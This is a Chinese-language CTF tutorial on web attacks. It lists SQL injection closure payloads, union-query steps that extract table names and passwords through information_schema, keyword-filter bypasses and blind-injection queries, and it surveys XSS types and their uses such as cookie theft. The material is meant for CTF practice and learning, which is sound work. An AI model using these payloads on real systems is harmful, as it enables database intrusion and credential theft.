本篇承接上文【1】CTF-web题目常见类型和基础知识

SQL注入

工具:sqlmap

SQL注入是将sql代码插入或添加到网站的输入框中,这些参数传递给后台的sql服务加以解析并执行,从而造成sql数据泄露或被修改的行为。

凡是构造sql语句的步骤均存在风险。

按照有无回显方式划分为两大类:

  • 有回显
  • 联合查询 --> 构造联合查询语句,直接查看查询结果
  • 报错注入 --> 构造报错语句,在报错中查看结果
  • 堆查询 --> 多行语句执行,进而实现想要达到的目的
  • 无回显
  • 盲注 --> 布尔型/时间型 通过某种手段“爆破”结果
  1. 构成闭合
  • or 1=1;#
  • 'or 1=1;#
  • "or 1=1;#
  • )or 1=1;#
  • ') or 1=1;#
  • ") or 1=1;#
  • ")) or 1=1;#
  1. information_schema信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型和访问权限等等。

联合查询

基本方法、常见注入方式:

  1. 1' or 1=1;# 尝试构成闭合语句,简单查询后台该语句中数据表的信息
  2. 1' order by 1;# 按字段1进行排序,尝试by 2by 3等等,以此查看表中共有多少个字段
  3. 1' union select 1,2,3;# union联合查询会将结果无重复的呈现在一个表上,1,2,3,...字段的数量要和表中字段数目相等,以此可以判断哪些位置会出现对应的查询结果,也可以用1' union select 1,database(),version()看到数据库名和版本号
  4. 1' union select 1,2,group_concat(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA=database();# 查询数据库中的所有表名,group_concat(table_name) 即将查询到的多个表名拼接成一行字符串
  5. 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="l0ve1ysq1";# 查询表名为l0ve1ysq1的所有字段名
  6. 1' union select 1,2,group_concat(password) from l0ve1ysq1;# 已知表名l0ve1ysq1,查询字段名password

其他常用语句和注意事项:

  • 反引号(`)在MySQL中用于特殊字段或保留字、字段名、表名、数据库名
  • show databases
  • show tables
  • show columns from xxx xxx 为表名

字符绕过

  • 大小写绕过 order byOrDer By 在mysql语句中是等同的
  • 双写绕过,某些特点的关键字被替换为空或删除
  • select 改写成 seselectlect (se==select==lect) 即使中间的 select 被删除,剩下的字符仍然可以组成新的关键字
  • union 改写成 uniunionon (uni==union==on)
  • or oorr
  • url编码绕过
  • 空格替换为%20
  • 内联注释绕过
  • /*! select */

盲注

盲注即对字符的截取和比较,来猜测或爆破想要的信息

select * from users where id='1' and 1=1 # and后面跟一个判断为true的表达式
select * from users where id='1' and 1=2 # and后面跟一个判断为false的表达式
# 截取数据库名的第一个字符,并判断是不是a,substr(sring,1,1)从string的第一个字符开始截取一位,substr()的索引从1开始
# 依次类推可以查询出完整的名字
select * from users where id='1' and substr((select database()),1,1)='a'

XSS

(Cross-Site Scripting)跨站脚本,在网页中插入恶意代码,用户打开网页就会执行恶意代码

XSS漏洞的利用:

  • 获取cookie
  • 会话劫持
  • 钓鱼
  • 重定向钓鱼:把当前页面重定向到钓鱼页面
  • 网页挂马:篡改网页来实现,如<iframe>标签:直接获取子功能页面的内容
  • DOS和DDOS
  • XSS蠕虫:精心构造的XSS代码,可以实现非法转账、删除文章、篡改信息等

反射型XSS

恶意脚本附加的URL地址参数中,用户点击这些URL后会直接在恶意代码会直接在浏览器执行,常在网站搜索、用户登录等

持久性XSS

也称存储型XSS,恶意脚本代码留存在服务器端,用户浏览到有恶意代码的页面就会执行恶意代码,常在留言、评论等

DOM型XSS

客户端的脚本文件可以通过DOM文档对象模型动态地检查和修改网页内容,而不依赖于服务器端,在客户端输入恶意脚本代码就有可能实现基于DOM的XSS

self-XSS

入侵者自身才能触发的XSS漏洞点,如个人信息修改存在的XSS漏洞,通常和CSRF漏洞结合使用